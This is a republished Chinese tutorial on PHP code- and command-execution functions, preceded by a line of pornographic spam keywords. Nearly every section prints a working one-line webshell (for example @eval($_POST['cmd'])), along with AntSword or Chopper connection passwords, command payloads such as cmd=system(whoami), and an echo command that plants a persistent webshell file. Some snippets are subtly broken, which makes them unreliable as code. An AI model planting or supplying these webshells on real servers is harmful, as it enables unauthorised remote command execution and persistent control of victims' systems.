国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

PHP常見的命令執(zhí)行函數(shù)與代碼執(zhí)行函數(shù)

這篇具有很好參考價值的文章主要介紹了PHP常見的命令執(zhí)行函數(shù)與代碼執(zhí)行函數(shù)。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點擊"舉報違法"按鈕提交疑問。

目錄

代碼執(zhí)行函數(shù):

1. eval()

GET和POST傳參的區(qū)別?

2. assert()

3. call_user_func()

4. create_function()

5. array_map()

6. call_user_func_array()

7. array_filter()

?編輯

8. uasort()函數(shù)

9.?preg_replace()

命令執(zhí)行函數(shù):

1. system()

2. passthru()

3. exec()

4. pcntl_exec()

5. shell_exec()

6. popen()/proc_open()

7. 反引號 ``


代碼執(zhí)行函數(shù):

前提準備:火狐插件 Quantum? Hackbar (或者hackbar)? ? ? phpstudy??

首先打開phpstudy? 在phpstudy 下的www目錄中創(chuàng)建一個1.php文件,接下來的實驗均在1.php中進行。

注意:php代碼中函數(shù)前加@意味著他會屏蔽掉出錯信息,而不報錯,避免通過錯誤回顯來推測數(shù)據(jù)庫結(jié)構(gòu),對其進行攻擊。

1. eval()

命令執(zhí)行:cmd=system(ipconfig);
蟻劍連接密碼:cmd

 注意:eval要以分號結(jié)尾  傳入的參數(shù)必須為php代碼

<?php @eval($_POST['cmd']);?>  

GET和POST傳參的區(qū)別?

?這里用的是POST型傳參? ?POST型傳參通過request? body 傳參? ?而GET型傳參把參數(shù)包含在url中php命令執(zhí)行函數(shù),php,網(wǎng)絡安全,web安全

?可以使用<pre>標簽來使結(jié)果規(guī)范化

 <?php 
 echo "<pre>";
 echo eval($_POST["cmd"]);
 echo "</pre>";
 ?>

php命令執(zhí)行函數(shù),php,網(wǎng)絡安全,web安全

2. assert()

 命令執(zhí)行:cmd=system(whoami)
    菜刀連接密碼:cmd
 
<?php @assert($_POST['cmd']);?>

php命令執(zhí)行函數(shù),php,網(wǎng)絡安全,web安全

3. call_user_func()

傳入的參數(shù)作為assert函數(shù)的參數(shù)
    命令執(zhí)行:cmd=system(whoami)
    蟻劍連接密碼:cmd
 
<?php call_user_func("assert",$_POST['cmd']); ?>
這里的  assert  是被調(diào)用的回調(diào)函數(shù),其余為回調(diào)函數(shù)的參數(shù)。

?php命令執(zhí)行函數(shù),php,網(wǎng)絡安全,web安全

<?php
call_user_func($_POST["dys"],$_POST["add"]);
?>
這里dys=assert;  add=phpinfo();

php命令執(zhí)行函數(shù),php,網(wǎng)絡安全,web安全

4. create_function()

創(chuàng)建匿名函數(shù)執(zhí)行代碼
執(zhí)行命令和上傳文件參考eval函數(shù)(必須加分號)。
<?php $func =create_function('',$_POST['cmd']);$func(); ?>
 

?第一個變量表示定義一個函數(shù)變量部分? 第二個變量表示執(zhí)行的代碼部分

php命令執(zhí)行函數(shù),php,網(wǎng)絡安全,web安全

5. array_map()

array_map() 函數(shù)
將用戶自定義函數(shù)作用到數(shù)組中的每個值上,并返回用戶自定義函數(shù)作用后的帶有新值的數(shù)組。
回調(diào)函數(shù)接受的參數(shù)數(shù)目應該和傳遞給 array_map() 函數(shù)的數(shù)組數(shù)目一致。
    
<?php
    $func=$_GET['dys'];
    $cmd=$_POST['cmd'];
    $array[0]=$cmd;
    $new_array=array_map($dys,$array);
    echo $new_array;
?>

?這個函數(shù)作用是為數(shù)組每個元素應用回調(diào)函數(shù)。php命令執(zhí)行函數(shù),php,網(wǎng)絡安全,web安全

6. call_user_func_array()

將傳入的參數(shù)作為數(shù)組的第一個值傳遞給assert函數(shù)
    cmd=system(phpinfo();)
   
<?php
    $cmd=$_POST['cmd'];
    $array[0]=$cmd;
    call_user_func_array("assert",$array);
?>

php命令執(zhí)行函數(shù),php,網(wǎng)絡安全,web安全

7. array_filter()

array_filter?—?使用回調(diào)函數(shù)過濾數(shù)組的元素

<?php
    $cmd=$_POST['cmd'];
    $array1=array($cmd);
    $func =$_GET['dys'];
    array_filter($array1,$func);
?>
命令執(zhí)行:cmd=whoami  dys=system

php命令執(zhí)行函數(shù),php,網(wǎng)絡安全,web安全

8. uasort()函數(shù)

uasort () 函數(shù)使用用戶自定義的比較函數(shù)對數(shù)組排序,并保持索引關(guān)聯(lián)(不為元素分配新的鍵)。 如果成功則返回 TRUE,否則返回 FALSE。

<?php
    uasort($_GET,'asse'.'rt');
?>

9.?preg_replace()

preg_replace('正則規(guī)則','替換字符','目標字符')
執(zhí)行命令和上傳文件參考assert函數(shù)(不需要加分號)。
將目標字符中符合正則規(guī)則的字符替換為替換字符,此時如果正則規(guī)則中使用/e修飾符,則存在代碼執(zhí)行漏洞。
preg_replace("/test/e",$_POST["cmd"],"jutst test");

命令執(zhí)行函數(shù):

1. system()

蟻劍連接密碼:cmd
<?php
echo "<pre>";
system($_POST["cmd"]);
?>

?在POST命令框輸入cmd=ipconfig? 即可在頁面出現(xiàn)信息

php命令執(zhí)行函數(shù),php,網(wǎng)絡安全,web安全

?還可以用echo寫入一句話木馬,來進行連接

cmd=echo "<?php @eval($_POST['dys']);?>" >> dys.php

php命令執(zhí)行函數(shù),php,網(wǎng)絡安全,web安全

?php命令執(zhí)行函數(shù),php,網(wǎng)絡安全,web安全

?php命令執(zhí)行函數(shù),php,網(wǎng)絡安全,web安全

2. passthru()

passthru?—?執(zhí)行外部程序并且顯示原始輸出

蟻劍連接密碼:cmd
<?php
@passthru($_POST['cmd']);
?>

?cmd=ipconfig 即可顯示信息

php命令執(zhí)行函數(shù),php,網(wǎng)絡安全,web安全

3. exec()

這個函數(shù)有點特殊,他只輸出最后一行

并且他的輸出需要自己打印。(即用echo打印出來)

蟻劍連接密碼:cmd
<?php
echo "<pre>"
echo exec($_POST['cmd']);
echo "</pre>"
?>

?php命令執(zhí)行函數(shù),php,網(wǎng)絡安全,web安全

4. pcntl_exec()

pcntl_exec?—?在當前進程空間執(zhí)行指定程序

pcntl_exec(string $path, array $args = [], array $env_vars = []): bool

以給定參數(shù)執(zhí)行程序

path

path?必須時可執(zhí)行二進制文件路徑或一個在文件第一行指定了 一個可執(zhí)行文件路徑標頭的腳本(比如文件第一行是 #!/usr/local/bin/perl 的 perl 腳本)。 更多的信息請查看您系統(tǒng)的 execve(2)手冊。

args

args?是一個要傳遞給程序的參數(shù)的字符串數(shù)組。

env_vars

env_vars?是一個要傳遞給程序作為環(huán)境變量的字符串數(shù)組。這個數(shù)組是 key => value 格式的,key 代表要傳遞的環(huán)境變量的名稱,value 代表該環(huán)境變量值。

5. shell_exec()

shell_exec?—?通過 shell 執(zhí)行命令并將完整的輸出以字符串的方式返回

蟻劍連接密碼:cmd
<?php
echo "shell_exec($_POST['cmd'])";
?>

?php命令執(zhí)行函數(shù),php,網(wǎng)絡安全,web安全

6. popen()/proc_open()

該函數(shù)也可以將字符串當作OS命令來執(zhí)行,但是該函數(shù)返回的是文件指針而非命令執(zhí)行結(jié)果。該函數(shù)有兩個參數(shù)。

<?php
$cmd=$_POST['cmd'].">>1.txt";  
popen("$cmd",'r');
?>
$cmd將文件查詢結(jié)果放入1.txt  popen將該文件賦予可讀權(quán)限
在linux里,命令為
popen("/bin/ls",'r');

?php命令執(zhí)行函數(shù),php,網(wǎng)絡安全,web安全

?php命令執(zhí)行函數(shù),php,網(wǎng)絡安全,web安全

7. 反引號 ``

[``]反引號里的東西也會被當成系統(tǒng)命令執(zhí)行

whoami可以直接執(zhí)行

<?php
echo `whoami`
?>

php命令執(zhí)行函數(shù),php,網(wǎng)絡安全,web安全

<?php
echo "<pre>";
$cmd=$_GET["cmd"];
echo `$cmd`;
echo "</pre>";
?>

php命令執(zhí)行函數(shù),php,網(wǎng)絡安全,web安全文章來源地址http://www.zghlxwxcb.cn/news/detail-718525.html

到了這里,關(guān)于PHP常見的命令執(zhí)行函數(shù)與代碼執(zhí)行函數(shù)的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權(quán),不承擔相關(guān)法律責任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實不符,請點擊違法舉報進行投訴反饋,一經(jīng)查實,立即刪除!

領(lǐng)支付寶紅包贊助服務器費用

相關(guān)文章

  • 網(wǎng)絡安全入門學習第十七課——PHP數(shù)組

    網(wǎng)絡安全入門學習第十七課——PHP數(shù)組

    索引數(shù)組是指 鍵名為整數(shù) 的數(shù)組。 默認 情況下,索引數(shù)組的 鍵名是從0開始 ,并依次遞增。它主要適用于利用位置(0、1、2……)來標識數(shù)組元素的情況。另外,索引數(shù)組的鍵名也可以自己指定。 關(guān)聯(lián)數(shù)組是指 鍵名為字符串 的數(shù)組。通常情況下,關(guān)聯(lián)數(shù)組元素的“鍵”和

    2024年02月09日
    瀏覽(19)
  • 【W(wǎng)eb】CTFSHOW PHP命令執(zhí)行刷題記錄(全)

    【W(wǎng)eb】CTFSHOW PHP命令執(zhí)行刷題記錄(全)

    目錄 web29 web30 web31 web32 web33 web34 web35 web36 web37-39 web40 web41 (y4?腳本) web42 -44 web45 web46 -49 web50 web51 web52 web53 web54 web55-56 web57 web58 web59 web60 web61 web62 web63-65 web66-67 web68-70 web71 web72 web73-74 web75-76 web77 期末復習不了一點,不如做點舊題醒一醒手感。每一題都盡量用不同payload,如果

    2024年01月23日
    瀏覽(21)
  • 網(wǎng)絡安全入門學習第十七課——PHP表單交互

    表單的主要功能:就是在網(wǎng)頁上用于輸入信息的區(qū)域,收集用戶輸入的信息,并將其提交給后端的服務器進行處理,實現(xiàn)用戶與服務器的交互。 例如:購物結(jié)算、信息搜索等都是通過表單實現(xiàn)的。 一個完整的表單是由表單域和表單控件組成的。其中,表單域由form標記定義,

    2024年02月12日
    瀏覽(24)
  • [網(wǎng)絡安全/CTF] BUUCTF極客大挑戰(zhàn)2019PHP解題詳析(Dirsearch使用實例+php反序列化)

    [網(wǎng)絡安全/CTF] BUUCTF極客大挑戰(zhàn)2019PHP解題詳析(Dirsearch使用實例+php反序列化)

    提示:有一個良好的備份網(wǎng)站的習慣 故使用dirsearch工具掃描目錄 得到的掃描結(jié)果中包含www.zip目錄 通過url路徑下載zip文件: index.php中含有關(guān)鍵代碼: Get傳參傳入一個參數(shù)select,后端將其序列化 class.php: construct 是構(gòu)造函數(shù),在對象被創(chuàng)建的時候自動調(diào)用,進行類的初始化,

    2024年02月05日
    瀏覽(30)
  • [CTF/網(wǎng)絡安全] 攻防世界 PHP2 解題詳析

    [CTF/網(wǎng)絡安全] 攻防世界 PHP2 解題詳析

    翻譯: 你能給這個網(wǎng)站進行身份驗證嗎? index.php是一個常見的文件名,通常用于Web服務器中的網(wǎng)站根目錄下。它是默認的主頁文件名,在訪問一個網(wǎng)站時,如果沒有特別指定頁面文件名,則服務器會自動加載index.php文件。 在Web應用程序中,index.php文件通常是網(wǎng)站的入口文件

    2024年02月13日
    瀏覽(27)
  • php5構(gòu)造無字母數(shù)字的webshell實現(xiàn)任意命令執(zhí)行

    php5構(gòu)造無字母數(shù)字的webshell實現(xiàn)任意命令執(zhí)行

    目錄 引言 如果是在php7 如果是在php5 現(xiàn)在我們來上傳文件 最后的結(jié)果: 看本篇前可以先看這一篇:利用異或、取反、自增bypass_webshell_waf-CSDN博客 上一篇介紹了如何構(gòu)造出一個無字母數(shù)字的webshell,但是如果后端的代碼變成了這樣: 這里過濾了大小寫字母、數(shù)字、_、$,因此

    2024年02月04日
    瀏覽(13)
  • 【漏洞復現(xiàn)】銳捷EG易網(wǎng)關(guān)cli.php后臺命令執(zhí)行漏洞

    【漏洞復現(xiàn)】銳捷EG易網(wǎng)關(guān)cli.php后臺命令執(zhí)行漏洞

    ? ? ? ? 銳捷EG易網(wǎng)關(guān)是一款綜合網(wǎng)關(guān),由銳捷網(wǎng)絡完全自主研發(fā)。它集成了先進的軟硬件體系架構(gòu),配備了DPI深入分析引擎、行為分析/管理引擎,可以在保證網(wǎng)絡出口高效轉(zhuǎn)發(fā)的條件下,提供專業(yè)的流控功能、出色的URL過濾以及本地化的日志存儲/審計服務。 ????????銳

    2024年01月22日
    瀏覽(23)
  • [CTF/網(wǎng)絡安全] 攻防世界 Web_php_include 解題詳析(php偽協(xié)議、data偽協(xié)議、file偽協(xié)議)

    [CTF/網(wǎng)絡安全] 攻防世界 Web_php_include 解題詳析(php偽協(xié)議、data偽協(xié)議、file偽協(xié)議)

    這段代碼首先通過 show_source(__FILE__) 顯示當前文件的源代碼,然后通過 $_GET[\\\'hello\\\'] 顯示 URL 參數(shù)中名為 hello 的值。 接下來,代碼使用 $_GET[\\\'page\\\'] 獲取 URL 參數(shù)中名為 “page” 的值,并進行字符串替換,將 php:// 替換為空字符串 這是為了防止通過 URL 參數(shù)加載本地文件或其他可

    2024年02月08日
    瀏覽(28)
  • [CTF/網(wǎng)絡安全] 攻防世界 fileinclude 解題詳析(php偽協(xié)議)

    [CTF/網(wǎng)絡安全] 攻防世界 fileinclude 解題詳析(php偽協(xié)議)

    由于index.php在/var/www/html目錄下,而flag.php與index.php同為php文件,故猜想flag.php也在該目錄下。 查看頁面源代碼獲取更多信息: 源代碼中看到 @include($lan.\\\".php\\\"); ,即此處存在文件包含。 又因為 $lan = $_COOKIE[\\\'language\\\']; 因此解題思路為:利用php偽協(xié)議,構(gòu)造language參數(shù),來讀取該目

    2024年02月07日
    瀏覽(24)
  • [CTF/網(wǎng)絡安全] 攻防世界 php_rce 解題詳析

    [CTF/網(wǎng)絡安全] 攻防世界 php_rce 解題詳析

    PHP RCE 指的是通過遠程代碼執(zhí)行漏洞(Remote Code Execution)來攻擊 PHP 程序的一種方式。簡單來說,由于PHP應用程序沒有正確處理外部輸入數(shù)據(jù)(如用戶提交的表單、請求參數(shù)等),攻擊者通過某些手段向 PHP 應用程序中注入惡意代碼,然后通過這些惡意代碼實現(xiàn)對受攻擊服務器

    2024年02月06日
    瀏覽(24)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包